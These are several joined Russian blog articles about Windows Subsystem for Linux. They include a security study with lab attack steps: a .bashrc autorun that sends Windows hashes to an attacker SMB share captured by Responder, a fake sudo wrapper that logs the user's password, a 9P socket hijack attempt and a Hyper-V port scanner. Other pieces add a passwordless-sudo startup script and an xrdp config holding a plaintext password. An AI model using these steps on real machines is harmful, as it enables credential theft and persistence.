По сути, взаимодействие с операционной системой Linux было организовано посредством нескольких ядерных модулей и специального вида процессов pico. Из схемы выше видно, что процесс, запущенный в инстанс Linux на хосте, должен быть нативным и должен использовать те же ресурсы, что и обычные приложения Windows. Но как этого достичь? В проекте Drawbridge были разработаны концепты процессов для Windows, которые предоставляли все необходимые компоненты операционной системы (в зависимости от ее версии) для запуска приложения другой ОС.

Заметим, что предложенная абстракция позволяла не ориентироваться на операционную систему (в частности Windows), в которой ожидается запуск процесса другой ОС, и предлагала общий подход.

Таким образом, любое приложение внутри pico процесса могло работать без оглядки на ядро Windows:

1. Проблемы совместимости и трансляции системных вызовов должны решать специальные провайдеры;
2. Разграничение доступа должно производиться через Монитор безопасности. Монитор располагается в ядре и поэтому Windows был необходим апгрейд в виде нового драйвера, который мог бы выступать в качестве провайдера для таких процессов. Прототип pico процесса схематично представлен ниже:

Поскольку файловая система Linux использует регистрозависимые названия файлов и директорий, в Windows были добавлены 2 типа файловых систем для работы с WSL VolFS и DriveFS. VolFS имплементация файловой системы Linux, DriveFS файловая система, которая работает по правилам Windows, но имеет возможность выбора чувствительности к регистру имен.

WSL 2

WSL 1 имела ряд ограничений, не позволявших использовать ее для решения максимального спектра задач: к примеру, в ней отсутствовала возможность запуска 32-битных Linux приложений, нельзя было использовать device драйвера. Поэтому в 2020 году была выпущена WSL 2, которая сменила подход к построению подсистемы. WSL 2 это оптимизированная виртуальная машина, которая соответствует характеристикам WSL 1 по потреблению ресурсов. Теперь, в зависимости от проблем, решаемых пользователем ОС Windows, можно выбирать необходимую версию подсистемы работы с Linux. Для митигации возможных уязвимостей WSL 2 была реализована на базе Hyper-V в Windows 10. В этом виде Windows имеет возможность изолированно запускать ядро операционной системы Linux. Стоит помнить, что версия 1 WSL была представлена как бета фича, которая должна была показать вектор развития Windows в этой области, поэтому переход на Hyper-V был неизбежен. Итоговая архитектура выглядит так:



В этой версии у ядер систем Windows и Linux есть свои собственные ресурсы и пересечение существует только в файловой системе, однако это пересечение нельзя назвать полным. Взаимодействие между файловыми системами проводится за счет клиент-серверной обертки, которая работает по протоколу 9P.

На сегодняшний день Microsoft предоставляет возможность переключения между WSL 1 и WSL 2. Обе версии доступны для использования.

Безопасность WSL

На данный момент существуют несколько работ, описывающих некоторые подходы к использованию легитимных инструментов ОС для атаки на взаимодействие между подсистемами. Мы будем использовать их сценарии для проверки актуальности атак на момент написания статьи. Общий перечень атак и сценарии проведения:

1. Имплементация файловой системы: права доступа, наличие общих директорий/механизмов обмена данными.

Исследования проводились на предмет нарушения правил доступа из Linux FS->Windows FS, Windows FS->Linux FS. Исследования демонстрировали возможность модификации заданного файла внутри целевой ОС. Так же были проведены попытки подмены, создания двойников и удаления части файловых систем.

Сценарий:

• A. Атака из операционной системы Windows модификация файлов из директории /etc ОС Linux.
• B. Атака из операционной системы Linux модификация файлов в директориях: C:\Windows, C:\Program Files, C:\Users\<User>

2. Имплементация сетевого стека.

Исследования проводились на примерах атак со стороны операционной системы Linux на Windows. Использовались особенности работы сетевого стека, а именно механизмы аутентификации на различных ресурсах.

Сценарий:

• Открытие доступа к порту, который занят в системе Windows
• Открытие порта при отсутствии соответствующих прав
• Запуск reverse shell с использованием elf файла в операционной системе Windows.

3. Сокрытие запуска процессов вредоносного программного обеспечения за счет подсистемы WSL.

Исследования базировались на простом факте подсистемы защиты не могут проводить перехват событий в другом ядре, которое работает с использованием легитимного провайдера со стороны операционной системы в случае с WSL 1. В случае с WSL 2 нет возможности просмотреть события, которые происходят в отдельном ядре в рамках легкой виртуальной машины.

Сценарий:

1) Запуск приложения для удаленного доступа в систему и просмотр регистрируемых событий.

WSL 1 эксперименты: перехват хэша (ОС Windows)

Наконец-то мы добрались до практической части. Для начала необходимо настроить окружение для тестов. Все эксперименты будут проводиться на стенде с установленным Windows 10 2004. В качестве образа операционной системы для WSL был выбран образ Ubuntu 18.04. Образ был выбран случайно, и любой другой будет работать так же. Команды для настройки стенда:

Предварительно нужно запустить powershell.exe от имени администратора.

Для WSL 1 необходимо выполнить команды:

1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

• Ubuntu.appx install root #Установим образ
• Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
• Restart-Computer #Перезагрузим
• 
  
  После перезагрузки стенда можно вызвать команду bash. Если все верно сработало, то вы увидите примерно такой вывод в консоли Windows:
  
  
  
  В качестве машины атакующего будем использовать дистрибутив Kali Linux, все машины должны находиться в одной локальной сети.
  
  Предположим, что у нас есть непривелигированный доступ к WSL на машине Windows. Попробуем провести атаку на операционную систему Linux, вызвав команду из Linux. Для реализации атаки воспользуемся простой техникой автозапуска добавим наш скрипт для выполнения в среде Linux. Для этого нужно изменить файл .bashrc.
  
  На машине c WSL выполняем:
  

  1. bash2. Переходим в домашнюю директорию пользователя: cd /home/sam/2. echo  /home/sam/.attack.sh >> .bashrc3. echo icalcs.exe \ \\\\\\\\attacker_ip\\\\shareName\\\\\ > /dev/null 2>&1 >> .attack.sh4. chmod u+x .attack.sh5. exit
  

  
  
  На машине Kali Linux выполняем:
  
  

  1. Responder -I eth0 -rdvw
  

  
  
  На машине Windows запустим bash.
  Ждем результат на машине Kali Linux:
  
  
  
  Таким образом, мы получили хэши пользователя Windows через подсистему WSL, выполнив команду на системе Linux.
  
  

  WSL 1 эксперименты: получение пароля пользователя (ОС Linux)

  
  
  Проведем еще один эксперимент. В ходе этой проверки мы дополним файл .bashrc несколькими командами для того, чтобы получить пароль пользователя операционной системы Linux.
  
  Запустим bash и введем команды:
  
  

  1. mkdir .hidden2. echo "export PATH=\$HOME/.hidden/:\$PATH:" >> .bashrc3. echo "read -sp \"[sudo] password for $USER: \" sudopass" > .hidden/sudo4. echo "echo \"\"" >> .mysudo/sudo5. echo "sleep 2" >> .mysudo/sudo6. echo "echo \"Sorry, try again.\"" >> .mysudo/sudo7. echo "echo \$sudopass >> /home/sam/.mysudo/pass.txt >> .mysudo/sudo8. echo "/usr/bin/sudo \$@" >> .mysudo/sudo9. chmod +x .mysudo/sudo10. exit
  

  
  
  Для успешного завершения атаки необходимо, чтобы пользователь Sam вызвал sudo в терминале Linux. После этого пароль пользователя ОС Linux окажется в файле pass.txt:
  
  
  
  Реализация атак была приведена только для теоретического ознакомления.
  
  В следующей части статьи будет описана реализация протокола 9P, рассмотрено создание сканера для этого протокола, а также проведена атака с его помощью.
  
  

  Список использованной литературы:

  
  
  • WSL 2 RESEARCH INTO BADNESS
  • Windows Subsystem for Linux Documentation
  
  
  
  

  Читать ещё:

  
  

  • Как выбирать программное обеспечение для патчинга ядра Linux в реальном времени

Привет, Хабр! Сегодня делимся гайдом по началу работы с Windows Terminal. Да, поскольку он о начале работы с инструментом, в основном в материале описываются какие-то базовые моменты. Но я думаю, что и профессионалы смогут подчерпнуть для себя что-то полезное, как минимум из списка полезных ссылок в конце статьи. Заглядывайте под кат!

Установка

Windows Terminal доступен в двух разных сборках: Windows Terminal и Windows Terminal Preview. Обе сборки доступны для загрузки в Microsoft Store и на странице выпусков GitHub.

Требования

Для запуска любой сборки Windows Terminal на вашем компьютере должна быть установлена Windows 10 1903 или более поздняя версия.

Windows Terminal Preview

Windows Terminal Preview это сборка, в которой в первую очередь появляются новые функции. Эта сборка предназначена для тех, кто хочет видеть новейшие функции сразу после их выпуска. Эта сборка имеет ежемесячный цикл выпуска с новейшими функциями каждый месяц.

Windows Terminal

Терминал Windows это основная сборка продукта. Функции, которые поступают в Windows Terminal Preview, появляются в Windows Terminal через месяц эксплуатации. Это позволяет проводить обширное тестирование ошибок и стабилизацию новых функций. Эта сборка предназначена для тех, кто хочет получить функции после того, как они были изучены и протестированы сообществом Preview.

Первый запуск

После установки терминала вы можете запустить приложение и сразу приступить к работе с командной строкой. По умолчанию терминал включает профили Windows PowerShell, Command Prompt и Azure Cloud Shell в раскрывающемся списке. Если на вашем компьютере установлены дистрибутивы Подсистемы Windows для Linux (WSL), они также должны динамически заполняться как профили при первом запуске терминала.

Профили

Профили действуют как различные среды командной строки, которые вы можете настраивать внутри терминала. По умолчанию в каждом профиле используется отдельный исполняемый файл командной строки, однако вы можете создать столько профилей, сколько захотите, используя один и тот же исполняемый файл. Каждый профиль может иметь свои собственные настройки, которые помогут вам различать их и добавить в каждый свой собственный стиль.

Дефолтный профиль

При первом запуске Windows Terminal в качестве профиля по умолчанию устанавливается Windows PowerShell. Профиль по умолчанию это профиль, который всегда открывается при запуске терминала, и это профиль, который открывается при нажатии кнопки новой вкладки. Вы можете изменить профиль по умолчанию, установив defaultProfile на имя вашего предпочтительного профиля в файле settings.json.

"defaultProfile": "PowerShell"

Добавление нового профиля

Новые профили можно добавлять динамически с помощью терминала или вручную. Терминал Windows автоматически создаст профили для распределений PowerShell и WSL. Эти профили будут иметь свойство source, которое сообщает терминалу, где он может найти соответствующий исполняемый файл.

Если вы хотите создать новый профиль вручную, вам просто нужно сгенерировать новый guid, указать name и предоставить исполняемый файл для свойства commandline.

Примечание. Вы не сможете скопировать свойство source из динамически созданного профиля. Терминал просто проигнорирует этот профиль. Вам нужно будет заменить source на commandline и предоставить исполняемый файл, чтобы дублировать динамически созданный профиль.

Структура Settings.json

В Терминал Windows включены два файла настроек. Один из них defaults.json, который можно открыть, удерживая клавишу Alt и нажав кнопку Настройки в раскрывающемся списке. Это неизменяемый файл, который включает в себя все настройки по умолчанию, которые поставляются с терминалом. Второй файл settings.json, в котором вы можете применить все свои пользовательские настройки. Доступ к нему можно получить, нажав кнопку Настройки в раскрывающемся меню.

Файл settings.json разделен на четыре основных раздела. Первый это объект глобальных настроек, который находится в верхней части файла JSON внутри первого {. Примененные здесь настройки повлияют на все приложение.

Следующим основным разделом файла является объект profiles. Объект profiles разделен на два раздела: defaults и list. Вы можете применить настройки профиля к объекту defaults, и они будут применяться ко всем профилям в вашем list. list содержит каждый объект профиля, который представляет профили, описанные выше, и это элементы, которые появляются в раскрывающемся меню вашего терминала. Настройки, примененные к отдельным профилям в списке, имеют приоритет над настройками, примененными в разделе defaults.

Далее в файле расположен массив schemes. Здесь можно разместить собственные цветовые схемы. Отличный инструмент, который поможет вам создать свои собственные цветовые схемы, это terminal.sexy.

Наконец, в нижней части файла находится массив actions. Перечисленные здесь объекты добавляют действия в ваш терминал, которые можно вызывать с клавиатуры и/или находить внутри палитры команд.

Базовая кастомизация

Вот несколько основных настроек, которые помогут вам начать настройку вашего терминала.

Фон

Одна из самых популярных настроек настраиваемое фоновое изображение. Это настройка профиля, поэтому ее можно либо поместить внутри объекта defaults внутри объекта profiles, чтобы применить ко всем профилям, либо внутри определенного объекта профиля.

"backgroundImage": "C:\Users\admin\background.png"

Параметр backgroundImage принимает расположение файла изображения, которое вы хотите использовать в качестве фона вашего профиля. Допустимые типы файлов: .jpg, .png, .bmp, .tiff, .ico и .gif.

Цветовая схема

Список доступных цветовых схем можно найти на нашем сайте документации. Цветовые схемы применяются на уровне профиля, поэтому вы можете поместить настройку внутри значений по умолчанию или в конкретный объект профиля.

"colorScheme": "COLOR SCHEME NAME"

Этот параметр принимает название цветовой схемы. Вы также можете создать свою собственную цветовую схему и поместить ее в список schemes, а затем установить в настройках профиля имя этой новой схемы, чтобы применить ее.

Начертание шрифта

По умолчанию Windows Terminal использует Cascadia Mono в качестве шрифта. Начертание шрифта это настройка уровня профиля. Вы можете изменить шрифт, установив fontFace на имя шрифта, который вы хотите использовать.

"fontFace": "FONT NAME"`

Совет: Терминал Windows также поставляется с начертанием шрифта Cascadia Code, который включает программные лигатуры (см. Gif ниже). Если вы используете Powerline, Cascadia Code также поставляется в PL-версии, которую можно загрузить с GitHub.

Полезные ресурсы

Докуметация Windows Terminal
Скотт Хансельман: как сделать красивым Windows Terminal с помощью Powerline, шрифтов Nerd, кода Cascadia, WSL и oh-my-posh
Скотт Хансельман: Как настроить терминал с помощью Git Branch, Windows Terminal, PowerShell, + Cascadia Code!
Скотт Хансельман: Windows Terminal Feature PREVIEW Кастомизируйте свои привязки клавиш, цветовые схемы, панели, и многое другое!
>_TerminalSplash темы Windows Terminal

Под катом небольшая заметка про то как можно настроить удобное окружение для работы с PHP, xdebug через Windows Subsystem For Linux 2 (WSL 2).

Для начала немного истории

Я очень долгое время жил в мире Ubuntu писать на PHP, NodeJS, GoLang сразу на той же системе, на которой все будет запускаться, крайне приятно. Но, к сожалению, наличие руководящей должности приводит к тому, что приходится пользоваться большим количеством софта, который работает только на Windows.

Очень долгое время я просто жил "через SSH". На моем ноутбуке просто стоял PhpStorm, в котором я через ssh правил файлы на Ubuntu сервере просто и работает.

Виртуалки сразу отбросил ноут не очень радовался соседям внутри:) Докер поджирал заметно ресурсы и без того перегруженного 100500 вкладками и копиями запущенных Phpstorm небольшой ноутбук dell e7390:) Докер крутится у нас в бою и как раз на дев серверах, куда я хожу через sftp.

Но прошло время и стало возможным легко и просто запустить у себя на винде WSL2 (http://personeltest.ru/away/habr.com/ru/news/t/516054) и я решил все же сделать удобное окружение для своей работы.

Теперь к делу

Базовая установка системы

Как установить WSL на Windows есть множество инструкций. Я все сделал по официальному мануалу с сайта Microsoft

После успешной установки в PowerShell нужно написать команду wsl и мы погружаемся внутрь Linux, который внутри Windows

Далее идет череда стандартных команд для настройки веб сервера на Ubuntu:

sudo apt updatesudo apt upgradesudo apt install apache2sudo apt install php libapache2-mod-php php-mysql php-xml php-curlsudo a2enmod rewrite

Все файлы моих проектов было доступы через /mnt/d/work/projects/и_так_далее. Да, я в курсе, что стоит копировать файлы напрямую в файловую систему Linux, чтобы работало быстрее. Но зачастую такого варианта по скорости достаточно, но если чувствуете тормоза ФС, то стоит использовать сетевой диск.

Также не забывайте настройку Apache, чтобы он ходил в нужные директории. Если что, конечно, можно сделать связку из php-fpm и nginx тут уже на ваш вкус.

Настройка xdebug на сервере

Далее настраиваем xdebug стандартным путем по любому мануалу из интернета. Я опишу кратко порядок действий.

1. Устанавливаем xdebug через sudo apt-get php-xdebug

   
   

2. Открываем sudo nano /etc/php/7.2/mods-available/xdebug.ini и приводим к такому содержимому

   
   

   zend_extension=xdebug.soxdebug.remote_enable=truexdebug.remote_host=wsl.hostxdebug.remote_port=9002xdebug.profiler_enable=1xdebug.profiler_output_dir=/tmpxdebug.remote_autostart=onxdebug.idekey=PHPSTORMxdebug.remote_log=/tmp/xdebug.log
   

   
   

3. Перезапускаем apache sudo service apache2 restart

   
   

Костыль для обратной связи

На этом настройки конкретно xdebug на сервере заканчиваются. Но чтобы данный конфиг заработал нам необходимо в /etc/hosts указать что такое wsl.host. На самом деле мы ожидаем там увидеть IP адрес головной системы на нашем ПК, а именно windows.

Изначально во всех инструкциях, которые я нашел, указывается что нужно писать xdebug.remote_host=127.0.0.1, но сеть в WSL устроена таким образом, что 127.0.0.1 внутри linux будет указывать именно на linux, а не windows. То есть дебаггер, ожидающий подключения в PhpStorm не дождется этих подключений:)

В поисках решения этой проблемы я наткнулся на пост в интернете, откуда решил взять gif-ку что наглядности.

Небольшая гифка-пояснение

Автор поста предлагает свой github репозиторий с C# приложением, которое надо добавить в планировщик Windows чтобы команда выполнялась при каждом запуске ПК. У меня сходу этот скрипт не сработал, да и проводить какие-то кастомизации в Windows не хотелось.

Ценой нескольких часов я собрал "костыльный" bash скрипт, который прописывает автоматически IP адрес хостовой системы в /etc/hosts внутри linux при каждом входе в WSL инструкцию и скрипт выложил на github.

Но этот скрипт нужно запускать при первом запуске системы. Руками такое делать "не красиво", а стандартный systemd и rc.local через wsl не работают. Поэтому пришлось использовать костыльное и небезопасное, но рабочее решение.

1. Создаем файл в корне системы /startup.sh с таким содержимым, даем ему права на запуск chmod +x /startup.sh
2. Даем права на запуск этого скрипта с sudo без пароля (иначе доступа на запись в /etc/hosts нет)
3. Добавляем строчку sudo /startup.sh в /etc/profile

При каждом входе в wsl запускается скрипт, который прописывает все что нужно в /etc/hosts и по адресу wsl.host наш linux будет видеть windows. Если кто-то знает как это можно достичь более правильным путем, буду благодарен если отпишите способ в комментариях или можно лично.

После входа в wsl стоит проверить, что хост прописался пишем команду cat /etc/hosts и на последнем месте должно быть что-то вроде этого:
172.26.64.1 wsl.host

Настройка xdebug в PhpStorm на Windows

После завершения всех работ внутри WSL можно перейти к настройке дебаггера в PhpStorm

1. File->Settings->Languages & Framework->PHP
   Открываем выбор интерпретаторов
   
   Первый вариант "From Docker, Vagrant, VM, WSL, Remote"
   
   Выбираем установленный WSL
   
   Убеждаемся, что xdebug активирован
   

   
   

2. File->Settings->Languages & Framework->PHP->Debug
   Активируем прослушивание дебаггера и указываем порт, который ранее указали в WSL (у меня это 9002, а изначально он 9000)
   
   В итоге должно выглядеть примерно так
   
   Убираем галочку в advanced напротив пункта "Pass required configuration options.."

   
   

Если ее не снять, то дебаггер будет передавать свои параметры по умолчанию и они будут перезатираться в итоге наш wsl.host будет заменен на 127.0.0.1 и ничего работать не будет.

Причем эта проблема проявляется только при отладке через консоль, т.к. при отладке HTTP сервера никакие конфиги не пробрасываются и забираются из ini файлов.

На этом все можно проверять работает ли дебаггер.

Проверка результата

1. Ставим breakpoint в index.php на любой строчке в коде
2. Переходим в браузере на этот файл и видимо, что дебаггер заработал
   
3. Для отладки консольного скрипта необходимо добавить конфигурацию запуска скрипта
   
   Добавляем конфигурацию Php Script
   

Указываем путь до скрипта и нужные аргументы

Сохраняем, закрываем и запускаем дебаггер

Вместо заключения

Таким образом, перелопатив несколько разных источников, статей, гистов я пришел к "почти идеальному" рабочему окружению при работе с PHP. Если есть где чего можно улучшить/доработать пишите в комментарии или в любой другой способ связи со мной.

Здравствуйте. Установив WSL и скачав из Microsoft Store Kali Linux & Ubuntu я столкнулся с тем, что передо мной терминал, а я абсолютно ничего не понимая в Linux, хотел бы хоть как-то ориентироваться в системе через графическую оболочку. Я неделями гуглил команды и в итоге написал скрипт для настройки. Делюсь, может кому поможет

Ещё раз оговорюсь, что в Linux я абсолютно не понимал ничего, поэтому культурная критика и дополнения к скрипту приветствуются в комментариях.
Так же сложность оказалась в том, что KALI поменяли команды, и я следуя туториалам на 2019 версию уже натыкался на ошибки отсутствия дистрибутива в репозитории.
Статья подразумевает, что вы уже установили WSL и скачали дистрибутив из Microsoft Store, и перед вами терминал. Скрипт писался на системе 26.08.2020

lsb_release -aNo LSB modules are available.Distributor ID: KaliDescription:    Kali GNU/Linux RollingRelease:        2020.3Codename:       kali-rolling

Настройка Kali

1. Первым делом вам предложат создать пользователя: введите логин и пароль
2. далее создаём скрипт:
   

   sudo nano /usr/local/bin/kali-sonax.sh
   

   и вставляем содержимое скрипта
3. СОДЕРЖИМОЕ СКРИПТА ДЛЯ KALI LINUX
   

   #!/bin/bashecho "Sonax Kali Setup"## МЕНЯЕМ ЗДЕСЬ НА НУЖНЕ ДАННЕ!port_xrdp=3390 #порт подключения по RDPusername="sonax" #логин. Если хотите каждый раз вводить напишите "ask"password="pass"  #пароль Если хотите каждый раз вводить напишите "ask"## Закончили менять. Дальше ничего не трогаемsudo apt update -y && sudo apt upgrade -ysudo apt install -y kali-desktop-xfce xrdp # для Ubuntu замените kali-desktop-xfce на xubuntu-desktop#XRDPsudo cp -n /etc/xrdp/xrdp.ini /etc/xrdp/xrdp.ini.bak #(бэкапим оригинал)sudo sed -i 's/3389/'$port_xrdp'/g' /etc/xrdp/xrdp.ini #(Смена порта со стандартного 3389 на указанный в переменной выше)sudo sed -i '186s/username=ask/username='$username'/g' /etc/xrdp/xrdp.ini #(логин, что бы не вводить)sudo sed -i '187s/password=ask/password='$password'/g' /etc/xrdp/xrdp.ini #(пароль, что бы не вводить)sudo sed -i 's/max_bpp=32/#max_bpp=32\nmax_bpp=128/g' /etc/xrdp/xrdp.ini #(Цветопередача не 32, а 128 пикселей)sudo sed -i 's/xserverbpp=24/#xserverbpp=24\nxserverbpp=128/g' /etc/xrdp/xrdp.inisudo /etc/init.d/xrdp start#END XRDP
   

4. В блоке "## МЕНЯЕМ ЗДЕСЬ НА НУЖНЕ ДАННЕ!" введите порт подключения(можете оставить и так), логин, пароль. Сохраняем (cntrl+x ->y->enter). Скрипт создан
5. далее задаём права Chmod, разрешаем запустить скрипт
   

   sudo chmod ugo+x /usr/local/bin/kali-sonax.sh
   

6. И запускаем скрипт

   kali-sonax.sh
   

7. Ждём загрузки всего необходимого, следуем инструкциям на экране
8. Сервис xrdp уже запущен из скрипта, но в следующий раз запускать его нужно в ручную, как заходите на виртуальную ОС. Команды запуска
   

   sudo /etc/init.d/xrdp start
   

   
   или
   

   sudo service xrdp start{start|stop|status|restart|try-restart|force-reload}
   

9. Заходим на стандартное средство RDP Windows, в поиске введите RDP или в командной строке введите mstsc
10. вводите localhost:3300 или другой порт, что вы указали и нажимайте соединиться

Ubuntu

На Ubuntu всё тоже самое, только вместо kali-desktop-xfce введите xubuntu-desktop.

Заключение

Спасибо за прочтение статьи. Если будут в комментариях пожелания\замечания\угрозы\шантаж\насилие, то статья будет дополняться\обновляться. Надеюсь, кому-нибудь пригодится.

Привет, хабр. В преддверии старта курса Administrator Linux. Professional публикуем продолжение статьи про WSL эксперименты, которую написал наш эксперт Александр Колесников.

---

Настало время для продолжения экспериментов с подсистемой WSL; первую часть статьи можно посмотреть здесь. В этой части будут представлены более сложные примеры атак, главная задача проводимых экспериментов проверить, как работает атака и актуальна ли она на момент написания статьи для Windows 10, версии 2004.

WSL 1: файловая система

В прошлой части статьи мы выяснили, что обмен данными между файловыми системами при использовании технологии WSL осуществляется за счет новых драйверов в ядре операционной системы Windows. На первый взгляд такая архитектура весьма логична, но возникает вопрос как это работает со стороны ОС Linux? Для того, чтобы это выяснить, изучим init файл внутри дистрибутива Linux, который эмулируется в Windows.



Запустим bash и выполним команду strings над файлом /init. Вывод командной строки частично представлен ниже:
На картинке видно, что вывод команды содержит строки с префиксом N4p9fs*. Похоже, что и в первой версии WSL используется P9 протокол для взаимодействия. Немного подправим вывод:



Что такое 9P и откуда оно взялось?

P9 файловая система

В 1980 году компания Bell Labs разработала операционную систему Plan 9. Особенностью этой ОС является возможность объединения нескольких вычислительных систем в одну ОС. Так же в этой операционной системе существует своя концепция понятий процесс, устройство и файловая система. Для тех, кто хочет изучить особенности Plan 9, предлагаю заглянуть сюда. Нас же интересует реализация файловой системы, которая была предложена данной ОС.

Файловая система реализовывалась за счет протокола, который был назван 9P. Этот протокол предполагает клиент-серверное взаимодействие, причем данные могут быть отправлены посредством обычного сетевого оборудования и не требуется специализированного интерфейса для взаимодействия. В операционных системах Linux так же может быть использован сокет. На данный момент протокол переименован в 9P2000.

Таким образом, можно предположить, что WSL 1 использует этот протокол или его модификацию для работы с файловыми системами. Как это работает?

Linux<->Windows: файловая система

Проведем небольшое исследование, целью которого будет поиск сетевого интерфейса (в нашем случае сокета) для взаимодействия файловых систем Windows и Linux:

1. На Windows машине запустим ProcMon из набора инструментов SysInternals;
2. атем запустим explorer.exe, в адресной строке необходимо прописать \\wsl$\Debian(Ubuntu-18.04). Как только открывается директория, выключаем слежение за событиями и нажимаем в ProcMon последовательность клавиш Ctrl+T. Нас интересует первая операция CreateFile, добавим в фильтр.
   
   Так же стоит добавить фильтр событий по процессу init процесс, который запускается для настроек ресурсов для WSL. Пример вывода можно увидеть на картинке ниже:

Похоже, что для взаимодействия файловых систем используется файл fsserver нулевого размера, который используется для операций ввода-вывода.



Похоже, что перед нами сокет, который может быть использован для коммуникации между Windows и Linux. Из документации подсистемы WSL мы знаем, что во взаимодействии участвует драйвер lxcore.sys. Заглянем в call stack операции CreateFile в ProcMon:



Попробуем удалить файл fsserver в ОС Linux. Теперь попробуем открыть в explorer.exe на стороне Windows директорию \\wsl$\Debian:



Судя по всему, действительно невозможно пользоваться файловой системой Linux из Windows без файла fsserver. Но где же 9P? Для ответа на этот вопрос достаточно сохранить лог ProcMon в XML формате и провести поиск по файлу 9P или P9. В итоге получаем путь к файлу p9rdr.sys:



Похоже, что разработчики постоянно путают 9P и P9

Plan 9 Intercept: атака

Можно ли провести подмену fsserver? Так как в качестве протокола взаимодействия используется 9P, попробуем угнать сокет. Для проведения эксперимента был выбран 9P сервер Diod, который можно найти здесь. Его нужно скачать в операционную систему Linux и собрать, следуя инструкциям из Readme.

Для проведения эксперимента необходимо выполнить следующие действия:

1. В командной строке Windows ввести команду bash.
2. Запустить P9 сервер на файле, который можно найти в директории LocalState установленного дистрибутива в WSL:
   diod -n -f -d3 -e /tmp/doesnotexist -l /mnt/c/Users//AppData/Local/Packages/TheDebianProject.DebianGNULinux_76v4gfsz19hv4/LocalState/fsserver
   Открыть в explorer UNC путь \\wsl$\Debian
   

Результат представлен на картинке ниже:



Похоже, что ограничения файловой системы не позволяют просто расшарить любую директорию для просмотра. Таким образом, попытка подмены файла fsserver не удалась.

Plan 9: WSL 2

Подсистема WSL 2 так же, как и первая версия WSL, наследует все плюсы и минусы файловой системы Plan 9. Однако теперь полноценное ядро Linux работает как отдельная операционная система, отделенная от Windows средой виртуализации. Исследование возможных уязвимостей в имплементации этой архитектуры могут занять еще несколько десятков статей. Начнем с малого давайте попытаемся написать сканер для Plan 9 с целью поиска открытых портов на стороне Linux. В качестве базового будем использовать вот этот код.

Основные изменения в коде касаются вводимых значений. Для того, чтобы можно было проводить сканирование, необходимо получить список GUID от работающих версий WSL. GUID используется для доступа к среде Hyper-V, он необходим для создания сокета типа SOCKADDR_HV. На рисунке ниже представлена часть командной строки, которая необходима:



Далее, чтобы просканировать порты, необходимо использовать шаблонный GUID для гостевой Linux {????????-facb-11e6-bd58-64006a7986d3} первая часть GUID используется как шестнадцатеричное представление порта. Напишем scanner.exe для поиска корректного значения открытого порта через GUID и получаем следующий результат:



Полученный сканер может помочь идентифицировать открытые порты для сетевого взаимодействия с Hyper-V контейнером. Результат работы сканера можно использовать для попыток соединения с P9 сервером для атак на него.

Использованные материалы:

• docs.microsoft.com/en-us/sysinternals
• www.tiraniddo.dev/2019/07/digging-into-wsl-p9-file-system.html

Читать ещё:

• WSL эксперименты. Часть 1

Совсем недавно я приобрёл себе Huawei Matebook d13 с предустановленной windows 10 home

WINDOWS #День первый

После моего старенького MSI, Huiwei показал себя с лучшей стороны.

1. FingerPrint
2. Тачпад с полной поддержкой жестов
3. 2к экран
4. Продолжительное время работы
5. Зарядка от Type-c. Теперь заряжаю все свои устройства одной зарядкой

Я радовался, как маленький ребенок, но ноутбук был куплен для работы, а работать я привык на linux

KDE NEON, KUbuntu, Ubuntu

Я давно хотел попробовать кеды, но никак не решался, и вот с новым устройством у меня был карт-бланш на любые эксперименты. Я поставил себе KDE NEON и сразу столкнулся с отсутствием жестов и неработающим fingerPrint. С помощью танцев с бубном я завел некоторые жесты (отпечаток пальца не получилось). В браузерах жесты отказывались работать совсем.

Я снес всё, что было, и поставил Ubuntu. Ничего не поменялось, но тут все жесты не работали, как бы я ни старался.

Я снес всё, что было, еще раз и поставил KUbuntu. Ничего не поменялось!

И тут я вспомнил про WSL(Windows Subsystem for Linux)

Я снес linux и вернул windows

---

WSL

Загуглил инструкцию установки wsl и быстренько все сделал, запустил ubuntu и был шокирован, что работает, но не совсем хорошо. Под капотом не настоящее ядро, докер не работает, поэтому я быстренько сменил wsl на wsl 2.

Но многие говорят, что на первой версии все работает в разы быстрее, я же разницы не почувствовал, да и пользовался всего час.

WSL 2

Удобно что версия WSL меняется одной командой.

По ощущениям у меня в комнате будто появился компьютер, к которому я подключаюсь по ssh.

Докер предложил мне синхронизироваться с WSL, я согласился.

Список подсистем пополнился

PS C:\Users\zawer> wsl -l -v  NAME                   STATE           VERSION* Ubuntu-20.04           Running         2  docker-desktop-data    Running         2  docker-desktop         Running         2

Пару лет назад, когда я пробовал работать из под windows, я ставил себе docker, но при попытке прокинуть директорию за контейнер, выдавало ошибку (что-то с файловой системой).
Решил проверить есть ли такая проблема на WSL.

Я создал контейнер postgres, в котором файлы вынесены в wsl. Запускаю и все работает!

Дальше я клонировал рабочий проект(nodejs, typescript, redis, postgres) и по привычке написал в терминале code .. Открылся vscode, предложил поставить плагин, и все заработало, как будто бы я просто открыл проект на своей машине.

Если вы привыкли к другой IDE, создайте символьную ссылку на папку проекта и пользуйтесь любимыми программами.

Есть ещё возможность запустить программу внутри подсистемы и отобразить её с помощью сервера x, но я попробовал, не получилось, и я решил ждать официальной поддержки.

WINDOWS # месяц спустя

Я поставил запуск терминала на горячие клавиши(ctrl + alt+ t), запускает он сразу wsl, теперь я не страдаю от командной строки windows.

Скачал скрипт, который прописывает адрес wsl в hosts, ушло ощущение работы через ssh.

Работаю в привычном окружении, но со всеми удобствами.

Я наконец-то не переключаюсь с Ubuntu на Windows, чтобы запустить photoshop или игру. Если вы выбираете Wine или WSL. Мой ответ однозначно wsl.

Из неприятного все приложения запущенные в WSL должны отдавать информацию на 0.0.0.0 ip, иначе не достучишься.

В планах попробовать обновить ядро, сейчас стоит 4.19.128-microsoft-standard.

Для тех, кто будет пробовать

Выкладываю свои настройки, большинства проблем вы сможете избежать, если воспользуетесь этими конфигурациями /etc/wsl.conf

[automount]enabled = trueroot = /mntoptions = "metadata,umask=22,fmask=11"mountFsTab = true[interop]enabled = trueappendWindowsPath = true[network] generateResolvConf = false 

Заключение

Когда я узнал про существование wsl, посчитал это детской игрушкой.

Попробовав, я отказался от своих слов.

Всё что написано в этой статье, это просто мой опыт, я свой выбор сделал, если вы тоже перешли на wsl, делитесь вашим опытом, будет приятно почитать комментарии.